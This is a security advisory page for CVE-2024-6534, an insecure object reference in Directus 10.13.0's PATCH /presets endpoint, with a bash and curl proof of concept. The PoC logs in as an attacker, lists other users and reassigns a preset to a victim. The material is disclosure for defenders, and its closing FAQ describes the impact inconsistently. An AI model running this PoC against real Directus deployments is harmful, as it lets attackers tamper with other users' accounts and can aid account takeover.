CVE-2024-6534: Directus 10.13.0 - Insecure object reference via PATH presets
Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-3fff-gqw3-vj86. This link is maintained to preserve external references.
Original Description Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the 'POST /presets' request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover.
Other sources
Impact Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the POST /presets request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover.
This vulnerability occurs because the application only validates the user parameter in the POST /presets request but not in the PATCH request.
PoC To exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account.
1. Create a preset for a collection.
Store the preset id, or use it if it already exists from GET /presets. The following example will use the directusers preset.
bash TARGETHOST="http://localhost:8055" ATTACKEREMAIL="malicious@malicious.com" ATTACKERPASSWORD="123456" rootdir=$(dirname $0) mkdir "${rootdir}/static" curl -s -k -o /dev/null -w "%{httpcode}" -X 'POST' "${TARGETHOST}/auth/login" \ -c "${rootdir}/static/attackerdirectussessiontoken" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKEREMAIL}\",\"password\":\"${ATTACKERPASSWORD}\",\"mode\":\"session\"}" attackeruserid=$(curl -s -k "${TARGETHOST}/users/me" \ -b "${rootdir}/static/attackerdirectussessiontoken" | jq -r ".data.id") # Store all user's id curl -s -k "${TARGETHOST}/users" \ -b "${rootdir}/static/attackerdirectussessiontoken" | jq -r ".data[] | select(.id != \"${attackeruserid}\")" > "${rootdir}/static/users.json"
Choose the victim user id from the previous request victimuserid="4f079119-2478-48c4-bd3a-30fa80c5f265" userspresetid=$(curl -s -k -X 'POST' "${TARGETHOST}/presets" \ -H 'Content-Type: application/json' \ -b "${rootdir}/static/attackerdirectussessiontoken" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attackeruserid}\",\"search\":null,\"filter\":null,\"layoutquery\":{\"cards\":{\"sort\":[\"email\"]}},\"layoutoptions\":{\"cards\":{\"icon\":\"accountcircle\",\"title\":\"{{tittle}}\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refreshinterval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directususers\"}" | jq -r '.data.id')
2. Modify the presets via PATCH /presets/{id}.
With the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from GET /users. The following example modifies the title parameter.
bash curl -i -s -k -X 'PATCH' "${TARGETHOST}/presets/${userspresetid}" \ -H 'Content-Type: application/json' \ -b "${rootdir}/static/attackerdirectussessiontoken" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${victimuserid}\",\"search\":null,\"filter\":null,\"layoutquery\":{\"cards\":{\"sort\":[\"email\"]}},\"layoutoptions\":{\"cards\":{\"icon\":\"accountcircle\",\"title\":\"PoC Assign another users presets\",\"subtitle\":\"fakeemail@fake.com\",\"size\":4}},\"refreshinterval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directususers\"}"
Notes:
Each new preset to a specific collection will have an integer consecutive id independent of the user who created it.
The user is the user id of the victim. The server will not validate that we assign a new user to a preset we own.
The app will use the first id preset with the lowest value it finds for a specific user and collection. If we control a preset with an id lower than the current preset id to the same collection of the victim user, we can attack that victim user, or if the victim has not yet defined a preset for that collection, then the preset id could be any value we control. Otherwise, the attacker user must have permission to modify or create the victim presets.
When the victim visits the views of the modified presets, it will be rendered with the new configuration applied.
— GitHub
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2024-6534?
CVE-2024-6534 is considered a medium severity vulnerability due to its potential impact on user data integrity.
How do I fix CVE-2024-6534?
To fix CVE-2024-6534, update Directus to a version higher than 10.13.0 where the vulnerability is patched.
Who is affected by CVE-2024-6534?
CVE-2024-6534 affects any users of Directus v10.13.0, especially those with authenticated access.
What type of vulnerability is CVE-2024-6534?
CVE-2024-6534 is a privilege escalation vulnerability that allows users to modify presets improperly.
What can an attacker do with CVE-2024-6534?
An attacker can modify presets created by another user using the same user credentials due to insufficient validation.